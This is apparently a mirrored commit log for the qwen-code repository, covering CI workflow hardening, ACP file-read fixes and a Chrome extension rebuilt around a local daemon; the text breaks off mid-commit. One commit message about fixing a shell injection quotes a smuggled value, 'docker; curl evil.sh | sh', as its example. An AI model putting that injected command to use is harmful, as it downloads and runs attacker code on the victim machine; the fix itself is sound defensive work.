mirror of
https://github.com/QwenLM/qwen-code.git
synced 2026-07-09 17:19:02 +00:00
60 commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
489bea9771
|
fix(release): reduce npm package scan triggers (#6164)
* fix(release): reduce npm package scan triggers * fix(release): remove browser MCP dev dependencies * test(serve): stabilize CDP tunnel acceptance startup * fix(serve): remove unused chrome devtools MCP helper * fix(serve): remove unused path import * fix(serve): address CDP MCP review comments |
||
|
|
262186cc18
|
fix(ci): diagnose autofix publish credentials (#6162)
* fix(ci): diagnose autofix publish credentials * fix(ci): harden autofix credential diagnostics |
||
|
|
505430320f
|
fix(ci): fall back to latest autofix sandbox image (#6159)
* fix(ci): fall back to latest autofix sandbox image * fix(ci): satisfy autofix workflow lint --------- Co-authored-by: Shaojin Wen <shaojin.wensj@alibaba-inc.com> |
||
|
|
3026db3039
|
fix(ci): allow prechecked fork PR automation (#6160)
* fix(ci): allow triage for fork PRs that pass safety precheck Fork PRs by non-write authors were blocked from triage even when the safety precheck passed, because the authorize job gates on write permission. Triage is read-only (checks out trusted base code, reads PR via API), so precheck pass is sufficient to run it safely. Split the pull_request_target and issue_comment authorization paths: - pull_request_target: accept write permission OR precheck pass - issue_comment /triage: still require write permission on the commenter tmux-testing is unchanged — it executes PR code and must keep the write permission gate. * fix(ci): allow prechecked fork PR automation * docs(ci): clarify PR review authorization routing * test(ci): guard fork precheck authorization * fix(ci): tighten fork precheck review guards * test(ci): guard review-request authorization |
||
|
|
1287ac10ca
|
ci: stabilize actionlint on self-hosted runners (#6113) | ||
|
|
66521d8a0e
|
ci(autofix): fix scheduled and labeled issue triggers (#6080)
* ci(autofix): fix scheduled and labeled issue triggers * ci(autofix): harden issue label routing * ci(autofix): scope manual forced routing * ci(autofix): address routing review comments * ci(autofix): clarify issue routing comments * fix(ci): address autofix routing review * fix(ci): reuse issue label trigger guard * fix(ci): preserve manual autofix issue override * fix(ci): guard autofix label routing * fix(ci): check autofix label sender permission * fix(ci): address autofix route review comments * fix(ci): serialize autofix issue runs |
||
|
|
0cbd687885
|
fix(scripts): avoid shell injection in sandbox command detection (#6108)
The dev/build helper sandbox_command.js interpolated the QWEN_SANDBOX value straight into a shell string passed to execSync, so a value like 'docker; curl evil.sh | sh' would run the trailing command. Pass the candidate as a separate argv element via execFileSync instead, using an absolute /bin/sh for the POSIX 'command -v' builtin so a PATH-controlled shell cannot be hijacked either. Add a subprocess regression test covering several injection payload shapes. |
||
|
|
52f875a875
|
ci(workflows): remind authors not to force-push active PRs (#6035)
* ci(workflows): remind authors not to force-push active PRs Add a workflow that detects force-pushes (rebase/amend/reset) to open PRs via the pull_request_target synchronize event and posts a one-time, bilingual reminder that force-pushing invalidates existing review comments and that the integration bots squash all changes into a single commit automatically. A normal push (compare status "ahead") is ignored; the reminder is posted at most once per PR, bot-initiated pushes are skipped, and a failed compare is treated conservatively (no comment). * ci(workflows): address review — add issues:write, serialize without cancel - Add `issues: write`: the listComments/createComment calls go through the Issues API; declaring it matches the repo's other PR-commenting workflows and avoids any risk of a 403 making the workflow inert. - Set `cancel-in-progress: false`: an in-flight run that already detected a force-push must finish and post. The concurrency group still serializes runs per PR, and the once-per-PR marker prevents duplicates, so later pushes queue and then no-op instead of cancelling (and silently dropping) a pending reminder. * ci(workflows): harden force-push detection per review - Marker dedup now requires the comment to be from github-actions[bot], so a user pasting the marker string into a comment can't suppress reminders. - Skip known automation logins (qwen-code-dev-bot et al.) that push via PAT as sender.type 'User', not just GitHub App bots (mirrors qwen-autofix KNOWN_BOTS). - Narrow the compare catch to 404 (orphaned old tip -> skip); rethrow other errors so auth/rate failures go red instead of silently no-op'ing. - Wrap createComment with structured error logging + rethrow. Kept 3-dot compare and base-repo owner: verified that 3-dot returns diverged/behind for force-pushes and that the base repo resolves fork-PR commits, while the suggested 2-dot syntax 404s in the REST API. * test(ci): add structural test for the force-push reminder workflow - Add scripts/tests/pr-force-push-reminder-workflow.test.js (runs under test:scripts, which CI chains into test:ci). It asserts the trigger, repo guard, permissions, serialized concurrency, KNOWN_AUTOMATION sync with qwen-autofix, the 3-dot compare on the base repo, 404-vs-rethrow, the marker author check, and the bilingual body — locking in the reviewed behaviors. - Wrap the listComments paginate call in the same core.error + rethrow the other two API calls already use. - Note that KNOWN_AUTOMATION must stay in sync with qwen-autofix.yml KNOWN_BOTS. * ci(workflows): drop concurrency group, rely on marker for idempotency A concurrency group keeps at most one pending run per group, so a burst of pushes can cancel a still-pending force-push run before it reaches the script, dropping the reminder this workflow exists to post. Remove the group entirely: every synchronize event now runs independently and is always evaluated, and the once-per-PR marker provides idempotency. A rare double-post on two near-simultaneous first force-pushes is the acceptable cost of never silently missing one. Update the structural test to assert there is no concurrency block. The reviewer's suggested `queue: max` is not a valid GitHub Actions concurrency key (only `group`/`cancel-in-progress` are allowed) and fails actionlint. * test(ci): use Qwen Team header and assert the dedup skip path - Switch the copyright header to the prevailing `Qwen Team` (14 of 17 sibling test files use it; this file had copied an older Google LLC header). - Assert the idempotency skip log line so removing the marker guard fails a test. * test(ci): mechanically enforce KNOWN_AUTOMATION sync with qwen-autofix Read qwen-autofix.yml's KNOWN_BOTS and assert each login is also skipped here, so adding a bot there without updating this workflow fails the test instead of silently drifting. Replaces the hardcoded login list whose comment overclaimed that the sync was verified. |
||
|
|
ea536d361f
|
fix(cli): Handle ACP read_file for managed local paths (#6021)
* fix(cli): handle ACP read_file local roots Allow ACP read_file calls to fall back to local reads for explicitly permitted local roots when the serve workspace boundary rejects them, and preserve useful messages for plain object read errors. Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * codex: address PR review feedback (#6021) Add the missing getUserAutoMemoryRoot export to the acpAgent test core mock so the updated acpAgent import resolves under Vitest. Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * codex: address PR review feedback (#6021) Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * codex: address PR review feedback (#6021) Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * fix(acp): Narrow local read fallback temp roots Remove the broad OS temp directory from default read_file allow roots and ACP local read fallback roots. Keep qwen-managed temp roots readable and reuse the shared isSubpath helper after realpath resolution for ACP fallback containment. Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * codex: fix CI failure on PR #6021 Add the serve fast-path bundle check script and root npm script that the current CI workflow invokes. This mirrors the already-merged mainline check without pulling unrelated workflow or test config changes into this PR. Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * fix(cli): address ACP read error review feedback Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * fix(cli): harden ACP error normalization Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * codex: address PR review feedback (#6021) Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * codex: address PR review feedback (#6021) Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * codex: address PR review feedback (#6021) Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * codex: address PR review feedback (#6021) Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * codex: address PR review feedback (#6021) Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * codex: fix Windows CI path expectation (#6021) Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * codex: address PR review feedback (#6021) Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * codex: address PR review feedback (#6021) Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * codex: address PR review feedback (#6021) Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * codex: address PR review feedback (#6021) Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> --------- Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> |
||
|
|
565e4bc437
|
fix(cli): Guard serve fast-path bundle closure (#5995)
* fix(cli): guard serve fast-path bundle closure Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * test(cli): tighten serve fast-path bundle guard Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * codex: address PR review feedback (#5995) Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * codex: address PR review feedback (#5995) Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * codex: address PR review feedback (#5995) Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> --------- Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> |
||
|
|
1af1bb8a55
|
fix(ci): cover release integration regressions (#5994)
* fix(ci): cover release integration regressions * fix(ci): retry linter archive downloads * fix(ci): keep release CI PR focused |
||
|
|
c90e6e7ba4
|
feat(channels): Add channel agent bridge abstraction (#5978)
* feat(channels): add channel agent bridge abstraction Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * fix(channels): handle bridge session lifecycle cleanup Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * fix(channels): close bridge lifecycle review gaps Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * codex: address PR review feedback (#5978) Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * codex: address PR review feedback (#5978) Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * fix: address channel bridge review feedback Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * codex: address PR review feedback (#5978) Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * codex: address PR review feedback (#5978) Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> --------- Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> |
||
|
|
aa8f9bb993
|
fix(standalone): Route serve shim through cli-entry (#5977)
* fix(standalone): route serve shim through cli-entry Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * codex: address PR review feedback (#5977) Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> --------- Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> |
||
|
|
98dec4fa71
|
fix(release): use relative postinstall patch dir (#5973) | ||
|
|
30c35781b3
|
ci(autofix): loosen issue candidate filters so the agent finds work (#5860)
* ci(autofix): loosen issue candidate filters so the agent finds work
The scheduled issue phase had been finding 0 candidates on every run. Tier-1
requires the rarely-applied status/ready-for-agent label, and tier-2's
"unattended = no human comment at all" rule fought its ">2 days old" age
gate: on a busy repo every aged bug already has a community reply, so the
funnel collapsed (128 aged bugs -> 0 survivors) purely on the comment rule.
- Unattended now keys off maintainer engagement (OWNER/MEMBER/COLLABORATOR
comments, excluding our own bots), not any human comment. Community
"+1"/"me too" no longer disqualifies an issue.
- Tier-1 and tier-2 are always both gathered (tier-1 prioritized, then
de-duped by number) so a single weak ready-for-agent issue can't starve
the run.
- Tier-2 scans a bounded age window via MIN_ISSUE_AGE_DAYS..MAX_ISSUE_AGE_DAYS
(1..15) to focus on fresh, settled bugs instead of an unbounded set.
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
* fix(ci): preserve autofix issue tier priority
* fix(ci): keep ready autofix issues in tier one
* fix(ci): reserve autofix tier two slots
* fix(ci): tolerate tier two autofix scan failures
* fix(ci): tolerate tier one autofix scan failures
* fix(ci): harden autofix candidate merging
* fix(ci): harden autofix issue scanning
* fix(ci): harden autofix diagnostics
* fix(ci): skip unsafe autofix comment fallbacks
* fix(ci): drop unused autofix comments payload
* test(ci): strengthen autofix comment refresh guard
* test(ci): satisfy autofix workflow lint
* test(ci): tighten autofix tier two assertion
* test(ci): cover autofix tier merge guards
* test(ci): cover autofix unattended filter
* fix(ci): summarize autofix comment refresh drops
* fix(ci): bound autofix tier-2 comment-refresh API calls
Cap the tier-2 issues fed into the comment-refresh loop to 15 (a margin
above the ~10 ever selected, since filter_unattended_candidates drops
attended issues afterward) and request full pages with per_page=100, to
avoid GitHub secondary rate limits. Add workflow tests asserting the
forced-issue skip/in-progress exclusion and the tier-2 ready-for-agent
label exclusion stay in place.
Co-Authored-By: Qwen-Coder <noreply@qwen.ai>
* fix(ci): refresh all scanned tier-2 autofix issues, not just first 15
The previous change capped comment-refresh to the first 15 tier-2 issues
before filter_unattended_candidates runs. The scan still fetches 30, so
valid unattended bugs at positions 16-30 were never refreshed nor
filterable: if the first 15 were all maintainer-attended/dropped, the run
could end with zero candidates again — the failure this PR set out to fix.
Drop the .[0:15] refresh cap and refresh the full scanned set (already
bounded by --limit 30 on the scan). per_page=100 stays as the
pages-per-issue rate-limit mitigation, and the drop summary total/counters
reflect the full refreshed set again. Top-N selection after filtering is
unchanged.
Co-Authored-By: Qwen-Coder <noreply@qwen.ai>
* fix(ci): order tier priority before recency in autofix assess prompt
The assess prompt gave two conflicting selection rules: the tier note says not to pick a tier-2 issue over a comparably actionable tier-1 one, while the recency tiebreaker says to prefer the most recently reported. Since tier-1 has no age bound and tier-2 is the recent (1-15 day) tier, these point in opposite directions for comparable confidence. Make recency apply only after the tier preference and only within the same tier, removing the contradiction. Prompt text only; no shell/jq change.
Co-Authored-By: Qwen-Coder <noreply@qwen.ai>
* fix(ci): guard forced-issue jq and derive autofix comment scratch path
Address two review suggestions on the autofix candidate scan step.
- Wrap the forced-issue candidate jq in the same error guard the other
jq calls use (tier-1/tier-2 stamp, tier merge): on malformed
forced-issue JSON it now emits a :⚠️: and falls back to an empty
candidate list instead of silently producing an empty candidates.json
with no diagnostic.
- Make refresh_issue_comments reuse-safe by deriving its NDJSON scratch
path from the output_file parameter (${output_file%.json}.ndjson)
instead of hardcoding tier2-with-comments.ndjson, so a second call or a
different tier can't clobber a shared scratch file. Behavior for the
current single call is unchanged.
Co-Authored-By: Qwen-Coder <noreply@qwen.ai>
---------
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
Co-authored-by: Qwen-Coder <noreply@qwen.ai>
|
||
|
|
5581424b6b
|
feat(browser-ext): revive Chrome extension via daemon-direct architecture (#5777)
* feat(chrome-qwen-bridge): 🔥 init chrome qwen code bridge * chore(chrome-qwen-bridge): connect * chore(chrome-qwen-bridge): connect & them * chore(chrome-qwen-bridge): connect & them * chore(chrome-qwen-bridge): wip use chat ui * chore(chrome-qwen-bridge): wip use chat ui * wip * refactor(chrome-extension): rename chrome-qwen-bridge package to chrome-extension * feat(chrome-extension): enhance network monitoring with webRequest API Replace the existing network monitoring implementation with a more comprehensive solution that combines both webRequest and debugger APIs for broader coverage. The new implementation: - Uses chrome.webRequest.onBeforeRequest to capture all outgoing requests - Uses chrome.webRequest.onCompleted to capture completed responses - Uses chrome.webRequest.onErrorOccurred to capture failed requests - Retains debugger API integration for detailed network information - Implements memory management with maximum 1000 logs per tab - Adds proper initialization and cleanup for each tab - Ensures graceful handling of debugger attachment failures - Provides more reliable network activity capture across all tabs This enhancement significantly improves the reliability and coverage of network monitoring functionality in the Chrome extension. * refactor(chrome-extension): reorganize directory structure for better maintainability This commit reorganizes the entire Chrome extension package structure for improved maintainability and clarity: - Move all source files to `src/` directory (background, content, sidepanel) - Move build configurations to `config/` directory - Move documentation to `docs/` directory with proper categorization - Move all script files to `scripts/` directory - Move native-host specific files to appropriate subdirectories (`src`, `scripts`, `config`) - Update package.json scripts to reflect new file locations - Add comprehensive documentation files (debugging, development, architecture, API reference) - Maintain all functionality while improving project organization The reorganization separates source code from build output, centralizes documentation, and creates a clear separation of concerns making the project more maintainable and easier for developers to navigate. * feat(chrome-extension): enhance native host communication and network logging - Add troubleshooting documentation for native host setup issues - Improve native host logging to home directory with fallback to tmp - Enhance network logging in service worker with response body capture - Update scripts to properly reference host.js from correct path - Increase timeout for MCP session creation and long prompts from 3 to 5 minutes - Add getConsoleLogs functionality to sidepanel for content script capture - Improve browser-mcp-server network logs aggregation by request ID - Update icon assets and improve manifest configuration refactor(chrome-extension): consolidate host.js entry point and improve path resolution - Create unified host.js entry point that delegates to src/host.js - Improve path resolution for host scripts in installer and runner scripts - Add proper path existence checks for browser-mcp-server.js - Support running from different directory structures style(chrome-extension): improve TypeScript type safety and error handling - Add proper type definitions for message handling in side panel - Add null checks and error handling for message parsing - Improve React component callback implementations * refactor(chrome-extension): redesign build workflow * fix(chrome-extension): resolve ESLint errors in native host, service worker, and content script - Fix 'Unexpected lexical declaration in case block' by wrapping switch cases in blocks - Fix 'Unexpected constant truthiness on the left-hand side of a || expression' by using conditional patterns - Fix unused variable errors by properly using catch error parameters or adding logging - Fix 'document' and 'window' not defined errors in service worker with proper global declarations - Add eslint-disable comments where appropriate for globals used in specific contexts * feat(chrome-extension): enhance native host with browser MCP tools and event streaming - Add new browser MCP tools: browser_click, browser_click_text, browser_run_js, browser_fill_form_auto - Implement SSE (Server-Sent Events) for improved event streaming instead of long-polling - Add daemon script for running the bridge host in background - Enhance documentation with MCP notes and updated README - Add multiple executable binaries to package.json: chrome-browser-mcp, qwen-bridge-host - Improve error handling and event processing in the native host - Add debouncing mechanism for stream end events in service worker - Update timeout for MCP discovery to accommodate slower startup Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com> * fix(chrome-extension): use trusted cwd for MCP tool discovery The root cause of MCP tools not being recognized by Qwen CLI was that the cwd (current working directory) was defaulting to '/' (root directory). In Qwen CLI's MCP discovery logic, there's a security check: if (!cliConfig.isTrustedFolder()) { return; // Skip MCP tool discovery } The root directory '/' is not a trusted folder, so MCP tools were silently not being discovered at all. Changes: - host.js: Default to $HOME instead of process.cwd() for start_qwen - service-worker.js: Remove '/' fallback, let host.js handle default This ensures browser MCP tools (browser_read_page, browser_click, etc.) are properly discovered and available to the model. * fix(core): validate MCP entry script existence before connection Add pre-flight check to verify that stdio-based MCP server entry scripts exist on disk before attempting connection. This prevents silent failures and provides clear error messages for misconfigured MCP servers. * fix(chrome-extension): enhance native host path resolution and port config - Add QWEN_BROWSER_MCP_SERVER_PATH env override for custom installations - Expand candidate search paths for browser-mcp-server.js discovery - Add detailed logging when MCP server script is not found - Support BRIDGE_PORT env variable for HTTP API server configuration * fix(chrome-extension): improve browser MCP server reliability and debugging - Add comprehensive debug logging for bridge health checks and host spawn - Support BROWSER_MCP_NO_SPAWN env to disable automatic host.js spawning - Handle bridge unavailability gracefully with clear error messages - Add raw JSON mode fallback for clients without Content-Length framing - Capture and log host.js stdout/stderr instead of inheriting stdio - Add pre-flight bridge check at startup for better diagnostics - Handle each bridge call failure with proper error responses * chore(chrome-extension): add debug wrapper script for MCP server Add cbmcp-wrapper.sh to help diagnose MCP server invocation issues. The wrapper logs invocation details and stderr to /tmp/cbmcp.log, making it easier to debug when Qwen CLI spawns the MCP server. * docs(chrome-extension): add MCP/Bridge troubleshooting guide Document common failure scenarios when MCP bridge shows as Disconnected: - EPERM errors when spawning host.js cannot bind to port - Content-Length framing issues during MCP handshake - Step-by-step troubleshooting with flow diagrams - Manual bridge setup with BROWSER_MCP_NO_SPAWN workaround * build(chrome-extension): 浏览器插件 mcp 构建优化 * docs(chrome-extension): update docs * fix(chrome-extension): 解决CDP响应体获取和权限请求处理问题 * feat(mcp-chrome-integration): add MCP Chrome browser extension integration Add complete Chrome extension with native messaging host for MCP integration: - Chrome extension with sidepanel UI, service worker, and content script - Native server with agent engines (Claude/Codex), session management, and tool bridge - Shared packages for types, tools, and node specifications - Documentation and build scripts Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com> * chore(mcp-chrome-integration): refactor * feat(chrome-extension): 切换到HTTP后端代理并更新构建配置 * refactor(mcp-chrome-integration): build * wip * wip chrome extension * chore: ignore .worktrees * docs: plan sidepanel component removal * refactor(sidepanel): remove local components * feat(chrome-extension): add native messaging ACP client and protocol support - Add ACP client for native messaging communication - Add file handler for local file access via native host - Add protocol definitions for ACP communication - Archive old documentation files - Update integration status and protocol documentation * fix(chrome-extension): use GenericToolCall from @qwen-code/webui - Replace non-existent local ToolCallCard import with GenericToolCall - Import from @qwen-code/webui package instead of local path - Fix component props to match GenericToolCall interface - Remove unused ToolCallData import * refactor(mcp-chrome-integration): split large files and fix ESLint errors - Split tools.ts (1554 lines) into 8 schema files by functionality - Split native-messaging.ts (1533 lines) into 6 modules - Split doctor.ts (1099 lines) into 8 modules - Split content-script.ts (1055 lines) into 5 modules - Add Qwen Team license headers to all new files - Remove unused tool names (SEARCH_TABS_CONTENT, SEND_COMMAND_TO_INJECT_SCRIPT, USERSCRIPT, RECORD_REPLAY) - Fix ESLint errors: no-require-imports, no-explicit-any, no-unused-vars, prefer-const - Add archive/ directory to eslint ignore patterns * 调试 MCP 工具成功 * refactor: revert unnecessary formatting changes and clean up MCP chrome-integration - Revert Node version requirement from >=22 to >=20 - Revert code formatting changes (import statements and indentation) - Archive obsolete chrome-extension implementation - Clean up outdated documentation and scripts - Reorganize MCP chrome-integration docs * docs(mcp-chrome): 新增核心文档和更新 README - 新增 02-features-and-architecture.md (27个工具完整参考) - 新增 03-design-and-implementation.md (与 hangwin/mcp-chrome 对比) - 新增 04-test-cases.md (35个测试用例) - 更新 01-installation-guide.md (Extension ID 固定方案) - 重写 README.md (对齐新文档结构) * refactor(chrome-extension): 简化 sidepanel 并移除未使用代码 - 删除未使用的 Onboarding 组件 - 删除冗余样式文件 (App.css, timeline.css) - 删除未使用的工具函数 (diffStats, diffUtils, sessionGrouping, tempFileManager, webviewUtils) - 新增 MCP 工具状态横幅显示 - 隐藏不需要的 UI 按钮 (slash command, attach, edit mode) - 移除未使用的变量 (clearToolCalls) - 更新 manifest.json 和 native-messaging-host * chore: regenerate lockfile for mcp-chrome-integration workspace npm install reconciles the lock with the merged package.json: adds the new packages/mcp-chrome-integration/app/* workspace subtree (371 deps). No existing main dependencies were removed. * chore(chrome-integration): drop dead logger + unused pino deps native-server/src/util/logger.ts was 100% commented-out dead code (even a hardcoded /Users/hang/... path) with zero importers; pino/pino-pretty were declared but never imported (logging is console.error to stderr, correct for a native-messaging host). Remove the file and both deps. * feat(chrome-integration): WIP serve-backed agent client (Phase 1 backbone) Replace the hand-rolled ACP client by driving `qwen serve` (main's maintained HTTP daemon) through the SDK's DaemonClient. New serve-agent/client.ts spawns `qwen serve --no-web` where the host used to spawn `qwen --acp`, then uses DaemonClient (REST + SSE) for session create / prompt / cancel / permission / streaming. Same public surface as AcpClient so the native host can swap in place. Compiles + typechecks against the real SDK API. NOT yet wired into native-messaging-host.ts — wiring is gated on two items that need runtime validation in a real Chrome + qwen env: - OAuth: host's onAuthenticateUpdate (in-extension authUri) maps to serve's server-side device-flow events — needs design. - permission requestId becomes string (was number) — host's permissionRequests map + handler need to follow. acp/ kept in place until the serve path is validated. Packaging follow-up: @qwen-code/sdk (→ core) as a dep of the standalone host is fine in the monorepo but needs a publish-time story (bundle or resolve from the co-installed qwen). * feat(browser-ext): daemon-direct connection foundation (Phase 1, #5626) First brick of the daemon-direct architecture from #5626: the extension talks straight to a local `qwen serve` HTTP daemon instead of a native messaging host. - daemon/config.ts: resolve { baseUrl, token } — default loopback http://127.0.0.1:4170 (auth-free), overridable via chrome.storage.local. - daemon/discovery.ts: GET /health probe so the side panel can show a "start qwen serve" hint instead of a broken chat when no daemon is up. Both typecheck clean. (Pre-existing tsc errors live only in the orphaned legacy sidepanel hooks — useWebViewMessages/useToolCalls etc. — which the DaemonSessionProvider migration removes next.) * docs(browser-ext): daemon-direct architecture spec (Phase 1+2, #5626) Concrete implementation spec: Phase 1 (side panel as daemon client, no daemon changes) and Phase 2 (browser tools as a client-hosted MCP server over the daemon WS). Phase 2 reuses the existing SdkControlClientTransport / SdkControlServerTransport pattern but moves the wire from the SDK subprocess control plane onto qwen serve's WebSocket — a new public daemon-contract surface, gated behind a capability flag (the open question in #5626). Includes the daemon-lifecycle options for #5626 Q3. * feat(browser-ext): Phase 1 — side panel as a daemon-direct client (#5626) Side panel chat now talks straight to a local `qwen serve` HTTP daemon via @qwen-code/webui's DaemonSessionProvider, replacing the native-messaging relay (background/ + content/ untouched; nativeMessaging perm kept for now). - SidePanelRoot.tsx: health gate — checkDaemonHealth(getDaemonConfig()); shows a "run qwen serve" hint + Retry when unreachable, else mounts DaemonSessionProvider around App. - App.tsx: rewritten daemon-driven — transcript/streaming/permissions/ lifecycle from the webui daemon hooks (useTranscriptBlocks, useStreamingState, usePromptStatus, usePendingPermissions, useConnection, useActions); reuses the existing webui presentational components + ChromePlatformProvider. - sidepanel/daemon/{transcriptItems,permission}.ts: adapters from daemon transcript/permission shapes to the existing UI components. - Deleted the dead legacy native-messaging chat hooks/types. Verified: sidepanel/daemon tsc clean; `npm run build` (esbuild) passes, emits the side-panel bundle with the daemon wiring. (Pre-existing tsc errors remain only in background/ + content/, out of scope until Phase 2.) Daemon contract accepted live against the worktree `qwen serve`: /health, /capabilities (advertises session_create/prompt/events/workspace_mcp), POST /session runs end-to-end to the model-auth gate. * feat(browser-ext): Phase 2 — browser tools over the daemon WS (#5626) Reverse tool channel: a WS client (the extension) hosts an MCP server (its browser tools) that the daemon's agent can call, carrying mcp_message JSON-RPC frames over the daemon WS — reusing the SdkControlClientTransport / SDK-MCP-server control-plane pattern. Gated behind capability flag `client_mcp_over_ws` (opt-in; the public-contract piece flagged in #5626). Daemon (core + cli/serve): - core/tools/client-mcp-registrar.ts: ClientMcpRegistrar — id-correlation, pending/timeout, notifications fire-and-forget, exposes the sendSdkMcpMessage(server,msg) callback McpClientManager consumes. - cli/serve/acp-http/client-mcp-ws.ts: ClientMcpWsConnection — handles mcp_register/mcp_message/mcp_unregister frames; pushes mcp_message down the WS; disposes on close. Hookup to the live agent McpClientManager is a ClientMcpServerProvider injection point (returns structured `not_wired` until the child↔parent reverse-IPC lands — see below). - capability `client_mcp_over_ws` threaded through serve options/capabilities. Extension (chrome-extension/background): - browser-tools-server.ts: minimal hand-rolled MCP JSON-RPC (initialize/tools/list/tools/call) reusing the existing tool-catalog + router + executors (MVP 6 read-first tools); WS client to the daemon /acp with mcp_register + reconnect. Wired into the service worker behind a health probe; native messaging left intact. Self-accepted (no LLM needed): 10/10 tests pass — a headless ws client registers + answers the MCP handshake over mcp_message and the daemon lists+CALLS the client-hosted chrome_read_page tool end-to-end over a real socket. Builds: core + cli + extension esbuild all green; tsc clean. NOT yet wired (out of scope here; needs acp-bridge + acpAgent reverse IPC): the parent-process WS ↔ ACP-child McpClientManager hookup — the daemon's WS lives in the parent serve process but sendSdkMcpMessage binds in the ACP child. Single injection at the mountAcpHttp call site once that IPC exists. * feat(serve): wire client-MCP-over-WS to the ACP child agent (#5626) Closes the Phase 2 gap: a client-hosted (extension) MCP server's tool calls now reach the agent's McpClientManager in the ACP CHILD, routed back to the parent's ClientMcpRegistrar and out over the daemon WS. Opt-in via QWEN_SERVE_CLIENT_MCP_OVER_WS=1 (the contract is still settling — dormant by default; this is the public-daemon-contract piece flagged in #5626). Contract additions: - ACP ext-method `qwen/control/client_mcp/message` (child→parent, called UP): {server,payload} → {payload}; notifications resolve with a synthetic ack. - runtime-MCP config flag `__clientMcpOverWs`: parent stamps it on the SDK-type add config; child KEEPS type:'sdk' (instead of stripping) so it binds an SdkControlClientTransport instead of the SDK subprocess control plane. - BridgeOptions.clientMcpSender seam + ServeAppDeps.clientMcpSenderRegistry. Round-trip: mcp_register(WS) → serve registers the connection's ClientMcpRegistrar.sendSdkMcpMessage in a process ClientMcpSenderRegistry + bridge.addRuntimeMcpServer(type:'sdk',__clientMcpOverWs) → child adds the SDK server + runs initialize/tools/list, each frame child→parent via client_mcp/message → BridgeClient looks up the sender → registrar pushes mcp_message down the WS → extension answers → child discovers the tools. Self-accepted LIVE (no LLM): integration-tests/cli/qwen-serve-client-mcp.test.ts spawns a REAL qwen serve + REAL qwen --acp child under a mock OpenAI server, a headless ws client registers + answers the MCP handshake, and the child discovers the client-hosted chrome_read_page tool over the genuine child→parent→WS channel (GET /workspace/mcp/chrome-tools/tools lists it). Verified passing locally (24.6s). +5 bridge round-trip tests; 324 acp-bridge, the 10 prior Phase-2, acpAgent 133, server+acp-http 675 all pass; builds clean. Not exercised here: a real LLM turn driving tools/call (needs creds), and a real Chrome extension as the WS client (headless ws stands in). * fix(serve): session-scope runtime MCP servers so client tool calls resolve (#5626) The reverse tool channel registered the client-hosted MCP server only on the bootstrap/workspace Config, so discovery worked but a prompt — which runs against an independent per-session Config from newSessionConfig→loadCliConfig — couldn't resolve the tool ("not found in registry"), and the reverse WS channel was never reached. Spec (docs/05) intends per-session scope. Fix (minimal, additive, guarded; normal settings-based MCP servers unaffected): - core/config.ts: add Config.getRuntimeMcpServers() (shallow copy of the private runtimeMcpServers map). - acpAgent.ts newSessionConfig: copy the bootstrap Config's runtime MCP servers into a newly-created session Config before initialize() so its discovery binds that session's sendSdkMcpMessage (register-before-session). - acpAgent.ts workspaceMcpRuntimeAdd/Remove: fan the add/remove out to every active session's McpClientManager (register-after-session), best-effort. Test: the fake model now emits the fully-qualified registered name mcp__chrome-tools__chrome_read_page (what a real model is handed); the reverse channel still forwards the bare tool name to the client server. Verified LIVE (no LLM, no creds): integration test now drives the FULL loop — model→agent→session-registry resolution→reverse client_mcp/message over the daemon WS→headless ws client returns CallToolResult→agent consumes it (tool completed)→turn_complete. 2/2 integration tests pass (confirmed locally). Regression: config 248, acpAgent 133, mcp-client-manager 101, client-mcp-ws 5 pass; builds clean. (server.test.ts has 2 pre-existing Web-Shell flakes, identical on the unmodified baseline.) Still needs a real Chrome extension (vs the headless ws stand-in) + a real model turn for true browser behavior; the protocol round-trip is proven. * chore(browser-ext): remove the dead Native Messaging stack (#5626) Daemon-direct made Native Messaging obsolete — the extension talks to `qwen serve` directly (chat over HTTP+SSE, browser tools over the daemon WS), so the entire native-host stack is dead weight. Deletes ~15.5k lines: - packages/mcp-chrome-integration/app/native-server/ — the whole native host (MCP servers, ACP client, Fastify server, doctor/register/report/postinstall, the superseded serve-agent backbone). - extension background transport: native-messaging.ts, native-connection.ts, native-message-handler.ts, native-messaging-types.ts, ui-request-router.ts (+ its 